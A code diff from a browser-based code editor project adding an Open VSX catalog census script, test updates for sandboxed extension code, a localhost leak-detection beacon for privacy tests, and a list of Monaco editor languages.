51+const OUTDIR = path.resolve(arg('--out', RANKS ? CACHE : path.join(HERE, 'catalog-census')));
52+fs.mkdirSync(CACHE, { recursive: true });
53+fs.mkdirSync(OUTDIR, { recursive: true });
54+const sleep = ms => new Promise(r => setTimeout(r, ms));
55+const inRanks = r => !RANKS || (r != null && RANKS.some(([a, b]) => r >= a && r <= (b || a)));
56+const today = new Date().toISOString().slice(0, 10);
57+
58+// ── peticiones: como mucho una cada GAP ms a la API, y paciencia con el 429 ──
59+let requests = 0, nextSlot = 0;
60+async function slot() {
61+ const now = Date.now();
62+ const at = Math.max(now, nextSlot);
63+ nextSlot = at + GAP;
64+ if (at > now) await sleep(at - now);
65+}
66+async function getJson(url, { notFound = false } = {}) {
67+ for (let attempt = 1; attempt <= 6; attempt++) {
68+ await slot();
69+ requests++;
70+ let r;
71+ try { r = await fetch(url, { headers: { 'User-Agent': 'elffuss-code-census' }, signal: AbortSignal.timeout(60000) }); }
72+ catch (e) { if (attempt === 6) throw e; await sleep(5000 * attempt); continue; }
73+ // cerca del tope: más despacio (una respuesta de la caché de Open VSX no trae la cabecera)
74+ const left = r.headers.get('x-ratelimit-remaining');
75+ if (left !== null && /^\d+$/.test(left) && Number(left) < 300) nextSlot = Math.max(nextSlot, Date.now() + 5000);
76+ if (r.status === 429 || r.status >= 500) { await r.body?.cancel(); await sleep((r.status === 429 ? 60000 : 15000) * attempt); continue; }
77+ if (r.status === 404 && notFound) { await r.body?.cancel(); return null; }
78+ if (!r.ok) { await r.body?.cancel(); throw Object.assign(new Error(`HTTP ${r.status}`), { status: r.status }); }
79+ return r.json();
80+ }
81+ throw new Error('gave up after retries');
82+}
83+
84+// «…/api/ns/name/<plataforma>/<versión>/file/x.vsix» → la plataforma (o null)
85+function platformOf(download) {
86+ try {
87+ const parts = new URL(download).pathname.split('/').filter(Boolean);
88+ return parts[0] === 'api' && parts.length === 7 && parts[5] === 'file' ? parts[3] : null;
89+ } catch { return null; }
90+}
91+
92+// ── 1. la lista, por descargas (y, si faltan, por fecha) ──
93+const listFile = path.join(CACHE, RANKS ? `list-ranks.json` : `list-${today}.json`);
94+async function listing() {
95+ if (RECOUNT || (!RANKS && fs.existsSync(listFile))) {
96+ const files = fs.readdirSync(CACHE).filter(f => /^list-\d{4}-\d\d-\d\d\.json$/.test(f)).sort();
97+ if (!files.length) throw new Error('--recount: no listing in the cache');
98+ return JSON.parse(fs.readFileSync(path.join(CACHE, files.at(-1)), 'utf8'));
99+ }
100+ const search = (offset, sortBy, order) => getJson(`${API}/api/-/search?size=100&offset=${offset}&sortBy=${sortBy}&sortOrder=${order}&includeAllVersions=false`);
101+ const first = await search(0, 'downloadCount', 'desc');
102+ const total = first.totalSize;
103+ const byId = new Map();
104+ let repeated = 0;
105+ const take = (exts, rankOf) => exts.forEach((e, i) => {
106+ const id = `${e.namespace}.${e.name}`;
107+ if (byId.has(id.toLowerCase())) { repeated++; return; }
108+ byId.set(id.toLowerCase(), { rank: rankOf(i), id, namespace: e.namespace, name: e.name, version: e.version, platform: platformOf(e.files?.download), downloads: e.downloadCount ?? null });
109+ });
110+ const want = (lo, hi) => !RANKS || RANKS.some(([a, b]) => lo <= (b || a) && hi >= a);
111+ for (let off = 0; off < Math.min(total, CAP); off += 100) {
112+ if (!want(off + 1, off + 100)) continue;
113+ const j = off === 0 ? first : await search(off, 'downloadCount', 'desc');
114+ take(j.extensions, i => off + i + 1);
115+ }
116+ for (let off = 0; off < total - CAP; off += 100) { // del final hacia arriba
117+ if (!want(total - off - 99, total - off)) continue;
118+ const j = await search(off, 'downloadCount', 'asc');
119+ take(j.extensions, i => total - off - i);
120+ }
121+ // los que el empate de descargas dejó fuera (puede haberlos aunque la lista
122+ // no se quede corta: entre las dos puntas del orden pueden entrar extensiones
123+ // nuevas): por fecha de publicación, siempre que se lee el catálogo entero
124+ let filled = 0, totalAtEnd = total;
125+ if (!RANKS) {
126+ const seen = new Set(byId.keys());
127+ const add = j => { totalAtEnd = j.totalSize; for (const e of j.extensions) { const k = `${e.namespace}.${e.name}`.toLowerCase(); if (!seen.has(k)) { seen.add(k); filled++; byId.set(k, { rank: null, id: `${e.namespace}.${e.name}`, namespace: e.namespace, name: e.name, version: e.version, platform: platformOf(e.files?.download), downloads: e.downloadCount ?? null }); } } };
128+ for (let off = 0; off < Math.min(total, CAP); off += 100) add(await search(off, 'timestamp', 'desc'));
129+ for (let off = 0; off < total - CAP; off += 100) add(await search(off, 'timestamp', 'asc'));
130+ }
131+ // (el catálogo crece mientras se lista: su tamaño al acabar es el que cuenta)
132+ const list = { date: today, total, totalAtEnd, repeated, filledByDate: filled, missing: RANKS ? null : Math.max(0, totalAtEnd - byId.size), extensions: [...byId.values()] };
133+ fs.writeFileSync(listFile, JSON.stringify(list));
134+ return list;
135+}
136+
137+// ── 2. cada package.json, una vez, guardado tal cual (sin lo de compilar) ──
138+const DROP = ['scripts', 'devDependencies', 'dependencies', 'optionalDependencies', 'peerDependencies', 'bundledDependencies', 'resolutions', 'overrides', 'readme', 'files', 'jest', 'eslintConfig', 'prettier', 'lint-staged', 'husky', 'packageManager', 'volta', 'pnpm', 'workspaces', '__metadata'];
139+const slim = m => { if (!m || typeof m !== 'object' || Array.isArray(m)) return null; const o = { ...m }; for (const k of DROP) delete o[k]; return o; };
140+async function read(e) {
141+ const base = `${API}/api/${encodeURIComponent(e.namespace)}/${encodeURIComponent(e.name)}`;
142+ const v = encodeURIComponent(e.version);
143+ let variant = 'universal', url = `${base}/${v}/file/package.json`;
144+ if (e.platform) {
145+ // la web de ESTA versión, si la publica (una compilación web más vieja no
146+ // es la que se instalaría), o la de la plataforma de la lista
147+ const meta = await getJson(`${base}/${v}`, { notFound: true });
148+ if (meta?.downloads?.web) { variant = 'web'; url = `${base}/web/${v}/file/package.json`; }
149+ else { variant = 'platform'; url = `${base}/${encodeURIComponent(e.platform)}/${v}/file/package.json`; }
150+ }
151+ const manifest = await getJson(url, { notFound: true });
152+ if (!manifest) return { id: e.id, version: e.version, rank: e.rank, variant, error: 'no package.json published' };
153+ return { id: e.id, version: e.version, rank: e.rank, variant, manifest: slim(manifest) };
154+}
155+
156+const list = await listing();
157+const todo = list.extensions.filter(e => inRanks(e.rank)).sort((a, b) => (a.rank ?? 1e9) - (b.rank ?? 1e9));
158+console.log(`Open VSX on ${list.date}: ${list.total} extensions; listed ${list.extensions.length}${list.missing ? `, ${list.missing} not reachable by the search` : ''}; to classify: ${todo.length}${RANKS ? ' (ranks ' + arg('--ranks') + ')' : ''}`);
159+
160+const rawFile = path.join(CACHE, 'raw.jsonl');
161+const done = new Map();
162+if (fs.existsSync(rawFile)) {
163+ for (const line of fs.readFileSync(rawFile, 'utf8').split('\n')) {
164+ if (!line.trim()) continue;
165+ try { const x = JSON.parse(line); done.set(x.id.toLowerCase(), x); } catch { /* línea a medias de una parada */ }
166+ }
167+}
168+const runsFile = path.join(CACHE, 'runs.json');
169+const runs = fs.existsSync(runsFile) ? JSON.parse(fs.readFileSync(runsFile, 'utf8')) : [];
170+if (!RECOUNT) {
171+ // (una por extensión y versión: si la lista trae otra versión, se vuelve a leer)
172+ const pending = todo.filter(e => { const d = done.get(e.id.toLowerCase()); return !d || d.version !== e.version; });
173+ const out = fs.openSync(rawFile, 'a');
174+ let n = 0;
175+ const worker = async () => {
176+ while (pending.length) {
177+ const e = pending.shift();
178+ const x = await read(e).catch(err => ({ id: e.id, version: e.version, rank: e.rank, error: String(err.message || err).slice(0, 200) }));
179+ x.rank = e.rank;
180+ done.set(x.id.toLowerCase(), x);
181+ fs.writeSync(out, JSON.stringify(x) + '\n');
182+ if (++n % 500 === 0) console.log(` ${n} read, ${pending.length} to go`);
183+ }
184+ };
185+ await Promise.all([1, 2, 3, 4].map(worker));
186+ fs.closeSync(out);
187+ runs.push({ date: today, ranks: RANKS ? arg('--ranks') : 'all', requests, read: n });
188+ if (!RANKS) fs.writeFileSync(runsFile, JSON.stringify(runs, null, 1));
189+}
190+
191+// ── 3. recuento, con las reglas del panel ──
192+const langs = JSON.parse(fs.readFileSync(path.join(HERE, 'lib/monaco-languages.json'), 'utf8'));
193+const builtin = new Set(langs.languages.map(l => l.id));
194+const monarch = new Set(langs.languages.filter(l => l.monarch).map(l => l.id));
195+const tested = JSON.parse(fs.readFileSync(path.join(HERE, '../web/js/ext2/tested.json'), 'utf8'));
196+const opts = { tested, builtinLanguage: id => builtin.has(id), grammarSkippedFor: id => builtin.has(id) && !monarch.has(id) };
197+const rows = todo.map(e => ({ e, x: done.get(e.id.toLowerCase()) })).filter(r => r.x);
198+const classes = rows.map(({ e, x }) => {
199+ if (x.error || !x.manifest) return { e, x, c: null };
200+ return { e, x, c: classify(x.manifest, opts) };
201+});
202+const ok = classes.filter(r => r.c);
203+const count = (set, f) => set.filter(f).length;
204+const tally = set => ({
205+ extensions: set.length,
206+ browserEntry: count(set, r => r.c.runtime === 'browser'),
207+ runsInSandbox: count(set, r => r.c.eligible),
208+ nodeOnly: count(set, r => r.c.runtime === 'node'),
209+ noCode: count(set, r => r.c.runtime === 'none'),
210+ declarativeApplies: count(set, r => r.c.hasDeclarative),
211+ worksInCode: count(set, r => r.c.works),
212+ worksOnlyThroughCode: count(set, r => r.c.works && !r.c.hasDeclarative),
213+ nothingWorks: count(set, r => !r.c.works),
214+});
215+const bands = {};
216+for (const n of [100, 500, 1000, 5000]) bands['top' + n] = tally(ok.filter(r => r.e.rank != null && r.e.rank <= n));
217+const summary = {
218+ schema: 1,
219+ date: list.date,
220+ method: 'Static census: every extension that the Open VSX search lists, its latest package.json (for one published per platform, the web build of that version if it has one, else the listed platform build), classified with Elffuss Code\'s panel rules (web/js/ext2/classify.js; Monaco 0.52.2\'s built-in languages; the runtime census in web/js/ext2/tested.json for the top 500). Nothing was downloaded as a .vsix, installed or run. "Runs in the sandbox" assumes a browser and a site where level 2 is available.',
221+ catalog: list.totalAtEnd ?? list.total,
222+ catalogWhenTheListingStarted: list.total,
223+ listed: list.extensions.length,
224+ notReachableBySearch: list.missing,
225+ ranks: RANKS ? arg('--ranks') : 'all',
226+ read: ok.length,
227+ unreadable: classes.length - ok.length,
228+ // las peticiones que pide leerlo todo una vez: dos listados de páginas de 100
229+ // (por descargas y por fecha), un package.json por extensión y, en las
230+ // publicadas por plataforma, la consulta de su compilación web
231+ requests: RANKS ? requests : 2 * Math.ceil((list.totalAtEnd ?? list.total) / 100) + classes.length + classes.filter(r => r.e.platform).length,
232+ ...tally(ok),
233+ browser: {
234+ runsAndShowsWorkbenchParts: count(ok, r => r.c.eligible && r.c.unavailable.length > 0),
235+ runsWithProposedApis: count(ok, r => r.c.eligible && r.c.apiProposals > 0),
236+ cannotRun: count(ok, r => r.c.runtime === 'browser' && !r.c.eligible),
237+ whyCannotRun: Object.fromEntries(['engine', 'never', 'census'].map(k => [k, count(ok, r => r.c.runtime === 'browser' && !r.c.eligible && r.c.reasons.includes(k))])),
238+ missingDependencies: count(ok, r => r.c.runtime === 'browser' && r.c.deps.missing.length > 0),
239+ testedInCode: count(ok, r => r.c.runtime === 'browser' && !!r.c.census),
240+ },
241+ workbenchContributions: Object.fromEntries(WORKBENCH.map(k => [k, count(ok, r => r.c.unavailable.includes(k))]).filter(([, n]) => n)),
242+ packs: count(ok, r => r.c.pack.length > 0),
243+ webBuilds: count(ok, r => r.x.variant === 'web'),
244+ bands,
245+};
246+const name = RANKS ? 'summary-ranks.json' : 'summary.json';
247+fs.writeFileSync(path.join(OUTDIR, name), JSON.stringify(summary, null, 1) + '\n');
248+if (!RANKS) {
249+ // una línea por extensión, para poder comprobar cada recuento
250+ const b = v => (v ? 1 : 0);
251+ const lines = ['rank\tid\tversion\tvariant\truntime\tdeclarative\truns_in_sandbox\tworks\tworkbench\twhy_not'];
252+ for (const { e, x, c } of classes.sort((p, q) => (p.e.rank ?? 1e9) - (q.e.rank ?? 1e9) || p.e.id.localeCompare(q.e.id))) {
253+ lines.push([e.rank ?? '-', e.id, x.version, x.variant || '-', c ? c.runtime : 'unreadable', b(c?.hasDeclarative), b(c?.eligible), b(c?.works), b(c && c.unavailable.length), c ? c.reasons.join(',') : (x.error || '')].join('\t'));
254+ }
255+ fs.writeFileSync(path.join(OUTDIR, 'extensions.tsv'), lines.join('\n') + '\n');
256+}
257+console.log(JSON.stringify(summary, null, 1));
258+console.log(`summary: ${path.relative(path.resolve(HERE, '..'), path.join(OUTDIR, name))}`);
modified tests/ceo_persist.mjs +5 −2
@@ -13,8 +13,11 @@
1313 const p = await ctx.newPage();
1414 const errors = [];
1515 // El motor propio (web/js/engine) no se publica con este repo: donde no está, sus
16-// sondas dan 404, y eso no es un error de este flujo.
17-p.on('console', m => { if (m.type() === 'error' && !/\/js\/engine\//.test(m.location()?.url || '')) errors.push(m.text()); });
16+// sondas dan 404, y eso no es un error de este flujo. Con extensiones de código
17+// encendidas, el recinto (otro sitio, /x2/v1/) comprueba al arrancar que su CSP
18+// le corta la red, y el navegador anota ese bloqueo como error de consola de su
19+// marco: tampoco es de este flujo.
20+p.on('console', m => { if (m.type() === 'error' && !/\/js\/engine\/|\/x2\/v1\//.test(m.location()?.url || '')) errors.push(m.text()); });
1821 p.on('pageerror', e => errors.push('PAGEERROR: ' + e.message));
1922 await p.goto(BASE + '/?test-opfs', { waitUntil: 'domcontentloaded' }); await p.waitForTimeout(1500);
2023
modified tests/ext_feedback.mjs +15 −4
@@ -54,7 +54,15 @@
5454 await abrePanel(p);
5555 await p.evaluate(() => { const m = document.getElementById('ext-msg'); if (m) { m.hidden = true; m.textContent = ''; } document.getElementById('ext-done')?.remove(); });
5656 await p.setInputFiles('#ext-file', { name: nombre, mimeType: 'application/octet-stream', buffer: Buffer.from(bytes) });
57- return hasta(() => p.evaluate(() => { const m = document.getElementById('ext-msg'); return m && !m.hidden && m.textContent; }), { tiempo: 15000 });
57+ const msg = await hasta(() => p.evaluate(() => { const m = document.getElementById('ext-msg'); return m && !m.hidden && m.textContent; }), { tiempo: 15000 });
58+ // Un .vsix que además trae código para el navegador abre el consentimiento
59+ // del nivel 2 («¿ejecutar también su código?»). Aquí solo se quería lo
60+ // declarativo: se rechaza, como haría quien lo instala por su resaltado.
61+ if (await hasta(() => p.evaluate(() => !!document.querySelector('#x2-consent')), { tiempo: 1500 })) {
62+ await p.keyboard.press('Escape');
63+ await hasta(() => p.evaluate(() => !document.querySelector('#x2-consent')), { tiempo: 5000 });
64+ }
65+ return msg;
5866 };
5967 const tarjeta = p => p.evaluate(() => document.getElementById('ext-done')?.innerText.replace(/\s+/g, ' ') || '');
6068 const fila = (p, id) => p.locator(`#ext-installed .ext-row[data-id="${id}"]`);
@@ -219,9 +227,12 @@
219227 await p.press('#ext-q', 'Enter');
220228 const row = p.locator('#ext-results .ext-row[data-id="esbenp.prettier-vscode"]');
221229 await row.waitFor({ state: 'attached', timeout: 20000 }).catch(() => {});
222- const dis = await hasta(async () => (await row.locator('.ext-install').getAttribute('aria-disabled')) === 'true', { tiempo: 20000 });
223- ok('live: Prettier is not offered as a plain Install', !!dis, await row.innerText().catch(() => ''));
224- ok('live: …and with «Only ones that work in Code» (on by default) it is hidden', await hasta(async () => !(await row.isVisible()) && /hidden because/.test(await p.locator('#ext-hidden').innerText().catch(() => ''))), await p.locator('#ext-hidden').innerText().catch(() => ''));
230+ // Con el nivel 2, el código para el navegador de Prettier puede correr en el
231+ // recinto: ya no se esconde ni se da por «no funciona». La fila lo dice, y
232+ // «Instalar» lleva a su botón de código en vez de ser un botón muerto.
233+ const visto = await hasta(async () => (await row.isVisible()) && /Code’s sandbox/.test(await row.innerText()), { tiempo: 20000 });
234+ ok('live: Prettier (browser code) shows even with «Only ones that work in Code» on, and says it can run in Code’s sandbox', !!visto, await row.innerText().catch(() => ''));
235+ ok('live: …and its Install is not a dead button', (await row.locator('.ext-install').getAttribute('aria-disabled')) !== 'true', await row.innerText().catch(() => ''));
225236 await p.fill('#ext-q', 'dracula');
226237 await p.press('#ext-q', 'Enter');
227238 const d = p.locator('#ext-results .ext-row[data-id="dracula-theme.theme-dracula"]');
modified tests/extensions.mjs +18 −10
@@ -24,6 +24,13 @@
2424 return v;
2525 }
2626
27+// Modo con extensiones (tests/lib/x2-mode.mjs): dos extensiones de código ya
28+// están instaladas antes de empezar. Esta suite cuenta, comprueba y desinstala
29+// solo las suyas; en el modo por defecto PREVIAS está vacía y nada cambia.
30+const PREVIAS = (process.env.X2_SEEDED || '').split(',').filter(Boolean);
31+const propias = sel => sel + PREVIAS.map(id => `:not([data-id="${id}"])`).join('');
32+const sinPrevias = lista => (Array.isArray(lista) ? lista.filter(e => !PREVIAS.includes(e.id)) : lista);
33+
2734 const b = await chromium.launch();
2835 const ctx = await b.newContext();
2936 await ctx.addInitScript(() => { try { localStorage.setItem('elffusscode.model', 'rules'); } catch {} });
@@ -78,7 +85,8 @@
7885 await hasta(() => p.evaluate(() => !!window.monaco?.editor?.getEditors?.().length));
7986 await sleep(800);
8087 const extras = pedidas.filter(u => /\/js\/ext\/|\/css\/ext\.css|vscode-textmate|vscode-oniguruma|open-vsx|eclipsecontent/.test(u));
81-ok('primer arranque sin extensiones: ni host, ni panel, ni motor TextMate, ni Open VSX', extras.length === 0, extras.join(' '));
88+if (PREVIAS.length) notRun('primer arranque sin extensiones', 'en el modo con extensiones hay dos instaladas: el camino por defecto lo mide x2_bytes.mjs');
89+else ok('primer arranque sin extensiones: ni host, ni panel, ni motor TextMate, ni Open VSX', extras.length === 0, extras.join(' '));
8290 ok('tema de serie (vs-dark)', (await fondo()) === 'rgb(30, 30, 30)', await fondo());
8391
8492 // ── B. panel + tema desde un .vsix ──
@@ -155,8 +163,8 @@
155163 await abre('notes.elfs');
156164 ok('tras recargar: la gramática sigue', await colorDe('spell', THEME_DARK.control), JSON.stringify(await estilo('spell')));
157165 await abrePanel();
158-ok('tras recargar: las dos extensiones siguen instaladas', (await p.locator('#ext-installed .ext-row').count()) === 2);
159-const espejo = await p.evaluate(async () => (await import('/js/db.js')).get('kv', 'extensions'));
166+ok('tras recargar: las dos extensiones siguen instaladas', (await p.locator(propias('#ext-installed .ext-row')).count()) === 2);
167+const espejo = sinPrevias(await p.evaluate(async () => (await import('/js/db.js')).get('kv', 'extensions')));
160168 ok('la lista va al inventario del espacio de trabajo (kv «extensions»)', Array.isArray(espejo) && espejo.length === 2 && espejo.every(e => e.enabled), JSON.stringify(espejo));
161169
162170 // ── F. selector de tema: previsualiza, Escape deshace, Enter elige ──
@@ -270,14 +278,14 @@
270278 ok('desinstalar el lenguaje', await hasta(async () => (await filaInstalada('elffuss-test.elfscript').count()) === 0 && (await lenguaje()) === 'plaintext'));
271279 p.once('dialog', d => d.accept());
272280 await filaInstalada('elffuss-test.elf-theme').locator('.ext-uninstall').click();
273-ok('desinstalar el tema', await hasta(async () => (await p.locator('#ext-installed .ext-row').count()) === 0));
274-const restos = await p.evaluate(() => new Promise(res => {
281+ok('desinstalar el tema', await hasta(async () => (await p.locator(propias('#ext-installed .ext-row')).count()) === 0));
282+const restos = await p.evaluate(previas => new Promise(res => {
275283 const r = indexedDB.open('elffuss-code-ext');
276- r.onsuccess = () => { const q = r.result.transaction('files').objectStore('files').getAllKeys(); q.onsuccess = () => { res(q.result.length); r.result.close(); }; };
284+ r.onsuccess = () => { const q = r.result.transaction('files').objectStore('files').getAllKeys(); q.onsuccess = () => { res(q.result.filter(k => !previas.some(id => String(k).startsWith(id + '@'))).length); r.result.close(); }; };
277285 r.onerror = () => res(-1);
278-}));
286+}), PREVIAS);
279287 ok('sin restos en IndexedDB tras desinstalar', restos === 0, String(restos));
280-ok('kv «extensions» vacía', JSON.stringify(await p.evaluate(async () => (await import('/js/db.js')).get('kv', 'extensions'))) === '[]');
288+ok('kv «extensions» vacía', JSON.stringify(sinPrevias(await p.evaluate(async () => (await import('/js/db.js')).get('kv', 'extensions')))) === '[]');
281289
282290 // ── J. paquetes hostiles o rotos, mensajes, teclado y lector de pantalla ──
283291 const activo = () => p.evaluate(() => { const a = document.activeElement; return { id: a?.id, cls: a?.className, k: a?.dataset?.k, theme: a?.dataset?.theme, fila: a?.closest?.('.ext-row')?.dataset.id, label: a?.getAttribute?.('aria-label'), pressed: a?.getAttribute?.('aria-pressed') }; });
@@ -483,9 +491,9 @@
483491 await p.setViewportSize(tamaño);
484492
485493 // J11. fuera todo lo de esta sección
486-await p.evaluate(async () => { const host = await (await import('/js/ide.js')).loadExt(); for (const e of host.list()) await host.uninstall(e.id); await host.setTheme('vs-dark'); });
494+await p.evaluate(async previas => { const host = await (await import('/js/ide.js')).loadExt(); for (const e of host.list()) if (!previas.includes(e.id)) await host.uninstall(e.id); await host.setTheme('vs-dark'); }, PREVIAS);
487495 await abrePanel();
488-ok('J: todo desinstalado', (await p.locator('#ext-installed .ext-row').count()) === 0);
496+ok('J: todo desinstalado', (await p.locator(propias('#ext-installed .ext-row')).count()) === 0);
489497
490498 // ── I. EN VIVO contra Open VSX ──
491499 const red = await p.evaluate(async () => { try { return (await fetch('https://open-vsx.org/api/vscode/theme-monokai', { credentials: 'omit' })).ok; } catch { return false; } });
added tests/lib/beacon.mjs +75 −0
@@ -0,0 +1,75 @@
1+// Baliza de las pruebas de privacidad: cualquier cosa que llegue aquí es una
2+// fuga. Un solo puerto TCP que mira el primer byte (0x16 = TLS → HTTPS con un
3+// certificado propio de esta ejecución; si no, HTTP), cuenta cada conexión
4+// aceptada (aunque no llegue a pedir nada), las mejoras a WebSocket y los
5+// CONNECT, y un puerto UDP para STUN (WebRTC).
6+//
7+// const b = await startBeacon(); b.hits, b.tcp, b.udp, b.resolverRules
8+// const b = await startBeacon({ tls: true }) (necesita openssl; sin él, sin HTTPS)
9+//
10+// resolverRules (las de siempre): *.test, open-vsx.org y openvsx.eclipsecontent.org
11+// van a la baliza. strictRules además deja sin resolver cualquier otro nombre
12+// menos el bucle local y cdn.jsdelivr.net (Monaco, el camino de siempre).
13+import http from 'node:http';
14+import https from 'node:https';
15+import net from 'node:net';
16+import dgram from 'node:dgram';
17+import fs from 'node:fs';
18+import os from 'node:os';
19+import path from 'node:path';
20+import { execFileSync } from 'node:child_process';
21+
22+function selfSigned() {
23+ const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'x2-beacon-'));
24+ try {
25+ execFileSync('openssl', ['req', '-x509', '-newkey', 'rsa:2048', '-nodes', '-days', '1', '-subj', '/CN=beacon.test',
26+ '-keyout', path.join(dir, 'k.pem'), '-out', path.join(dir, 'c.pem')], { stdio: 'ignore' });
27+ return { key: fs.readFileSync(path.join(dir, 'k.pem')), cert: fs.readFileSync(path.join(dir, 'c.pem')) };
28+ } catch { return null; }
29+ finally { fs.rmSync(dir, { recursive: true, force: true }); }
30+}
31+
32+export async function startBeacon({ tls = false } = {}) {
33+ const hits = []; // peticiones HTTP(S), mejoras y CONNECT
34+ const tcp = []; // conexiones TCP aceptadas
35+ const udp = []; // paquetes UDP (STUN)
36+ const record = kind => (req, res) => {
37+ hits.push({ kind, host: String(req.headers.host || ''), url: req.url, method: req.method });
38+ res.writeHead(req.url === '/favicon.ico' ? 404 : 200, { 'Content-Type': 'text/plain', 'Access-Control-Allow-Origin': '*' });
39+ res.end('beacon');
40+ };
41+ const plain = http.createServer(record('http'));
42+ const cert = tls ? selfSigned() : null;
43+ const secure = cert ? https.createServer(cert, record('https')) : null;
44+ for (const s of [plain, secure].filter(Boolean)) {
45+ s.on('upgrade', (req, socket) => { hits.push({ kind: 'upgrade', host: String(req.headers.host || ''), url: req.url }); socket.destroy(); });
46+ s.on('connect', (req, socket) => { hits.push({ kind: 'connect', host: String(req.headers.host || ''), url: req.url }); socket.destroy(); });
47+ }
48+ const server = net.createServer(socket => {
49+ tcp.push({ at: tcp.length + 1 });
50+ socket.once('data', buf => {
51+ socket.pause();
52+ socket.unshift(buf);
53+ (buf[0] === 0x16 && secure ? secure : plain).emit('connection', socket);
54+ process.nextTick(() => socket.resume());
55+ });
56+ socket.on('error', () => {});
57+ });
58+ await new Promise(r => server.listen(0, '127.0.0.1', r));
59+ const port = server.address().port;
60+ const stun = dgram.createSocket('udp4');
61+ stun.on('message', (msg, rinfo) => udp.push({ bytes: msg.length, from: rinfo.port }));
62+ await new Promise(r => stun.bind(0, '127.0.0.1', r));
63+ const map = `MAP *.test 127.0.0.1:${port}, MAP open-vsx.org 127.0.0.1:${port}, MAP openvsx.eclipsecontent.org 127.0.0.1:${port}`;
64+ return {
65+ port, hits, tcp, udp, udpPort: stun.address().port, https: !!secure,
66+ resolverRules: map,
67+ strictRules: `${map}, EXCLUDE localhost, EXCLUDE 127.0.0.1, EXCLUDE cdn.jsdelivr.net, MAP * ~NOTFOUND`,
68+ // lo que cuenta como fuga (favicon aparte: una pestaña abierta a propósito lo pide sola)
69+ leaks: () => hits.filter(h => h.url !== '/favicon.ico'),
70+ close: () => Promise.all([
71+ new Promise(r => server.close(r)), new Promise(r => plain.close(r)), secure ? new Promise(r => secure.close(r)) : null,
72+ new Promise(r => stun.close(r)),
73+ ].filter(Boolean)),
74+ };
75+}
added tests/lib/monaco-languages.json +370 −0
@@ -0,0 +1,370 @@
1+{
2+ "monaco": "0.52.2",
3+ "note": "Generated by tests/lib/monaco-languages.mjs --write from the live editor; tests/x2_ux.mjs checks it.",
4+ "languages": [
5+ {
6+ "id": "abap",
7+ "monarch": true
8+ },
9+ {
10+ "id": "aes",
11+ "monarch": true
12+ },
13+ {
14+ "id": "apex",
15+ "monarch": true
16+ },
17+ {
18+ "id": "azcli",
19+ "monarch": true
20+ },
21+ {
22+ "id": "bat",
23+ "monarch": true
24+ },
25+ {
26+ "id": "bicep",
27+ "monarch": true
28+ },
29+ {
30+ "id": "c",
31+ "monarch": true
32+ },
33+ {
34+ "id": "cameligo",
35+ "monarch": true
36+ },
37+ {
38+ "id": "clojure",
39+ "monarch": true
40+ },
41+ {
42+ "id": "coffeescript",
43+ "monarch": true
44+ },
45+ {
46+ "id": "cpp",
47+ "monarch": true
48+ },
49+ {
50+ "id": "csharp",
51+ "monarch": true
52+ },
53+ {
54+ "id": "csp",
55+ "monarch": true
56+ },
57+ {
58+ "id": "css",
59+ "monarch": true
60+ },
61+ {
62+ "id": "cypher",
63+ "monarch": true
64+ },
65+ {
66+ "id": "dart",
67+ "monarch": true
68+ },
69+ {
70+ "id": "dockerfile",
71+ "monarch": true
72+ },
73+ {
74+ "id": "ecl",
75+ "monarch": true
76+ },
77+ {
78+ "id": "elixir",
79+ "monarch": true
80+ },
81+ {
82+ "id": "flow9",
83+ "monarch": true
84+ },
85+ {
86+ "id": "freemarker2",
87+ "monarch": true
88+ },
89+ {
90+ "id": "freemarker2.tag-angle.interpolation-bracket",
91+ "monarch": true
92+ },
93+ {
94+ "id": "freemarker2.tag-angle.interpolation-dollar",
95+ "monarch": true
96+ },
97+ {
98+ "id": "freemarker2.tag-auto.interpolation-bracket",
99+ "monarch": true
100+ },
101+ {
102+ "id": "freemarker2.tag-auto.interpolation-dollar",
103+ "monarch": true
104+ },
105+ {
106+ "id": "freemarker2.tag-bracket.interpolation-bracket",
107+ "monarch": true
108+ },
109+ {
110+ "id": "freemarker2.tag-bracket.interpolation-dollar",
111+ "monarch": true
112+ },
113+ {
114+ "id": "fsharp",
115+ "monarch": true
116+ },
117+ {
118+ "id": "go",
119+ "monarch": true
120+ },
121+ {
122+ "id": "graphql",
123+ "monarch": true
124+ },
125+ {
126+ "id": "handlebars",
127+ "monarch": true
128+ },
129+ {
130+ "id": "hcl",
131+ "monarch": true
132+ },
133+ {
134+ "id": "html",
135+ "monarch": true
136+ },
137+ {
138+ "id": "ini",
139+ "monarch": true
140+ },
141+ {
142+ "id": "java",
143+ "monarch": true
144+ },
145+ {
146+ "id": "javascript",
147+ "monarch": true
148+ },
149+ {
150+ "id": "json",
151+ "monarch": false
152+ },
153+ {
154+ "id": "julia",
155+ "monarch": true
156+ },
157+ {
158+ "id": "kotlin",
159+ "monarch": true
160+ },
161+ {
162+ "id": "less",
163+ "monarch": true
164+ },
165+ {
166+ "id": "lexon",
167+ "monarch": true
168+ },
169+ {
170+ "id": "liquid",
171+ "monarch": true
172+ },
173+ {
174+ "id": "lua",
175+ "monarch": true
176+ },
177+ {
178+ "id": "m3",
179+ "monarch": true
180+ },
181+ {
182+ "id": "markdown",
183+ "monarch": true
184+ },
185+ {
186+ "id": "mdx",
187+ "monarch": true
188+ },
189+ {
190+ "id": "mips",
191+ "monarch": true
192+ },
193+ {
194+ "id": "msdax",
195+ "monarch": true
196+ },
197+ {
198+ "id": "mysql",
199+ "monarch": true
200+ },
201+ {
202+ "id": "objective-c",
203+ "monarch": true
204+ },
205+ {
206+ "id": "pascal",
207+ "monarch": true
208+ },
209+ {
210+ "id": "pascaligo",
211+ "monarch": true
212+ },
213+ {
214+ "id": "perl",
215+ "monarch": true
216+ },
217+ {
218+ "id": "pgsql",
219+ "monarch": true
220+ },
221+ {
222+ "id": "php",
223+ "monarch": true
224+ },
225+ {
226+ "id": "pla",
227+ "monarch": true
228+ },
229+ {
230+ "id": "plaintext",
231+ "monarch": false
232+ },
233+ {
234+ "id": "postiats",
235+ "monarch": true
236+ },
237+ {
238+ "id": "powerquery",
239+ "monarch": true
240+ },
241+ {
242+ "id": "powershell",
243+ "monarch": true
244+ },
245+ {
246+ "id": "proto",
247+ "monarch": true
248+ },
249+ {
250+ "id": "pug",
251+ "monarch": true
252+ },
253+ {
254+ "id": "python",
255+ "monarch": true
256+ },
257+ {
258+ "id": "qsharp",
259+ "monarch": true
260+ },
261+ {
262+ "id": "r",
263+ "monarch": true
264+ },
265+ {
266+ "id": "razor",
267+ "monarch": true
268+ },
269+ {
270+ "id": "redis",
271+ "monarch": true
272+ },
273+ {
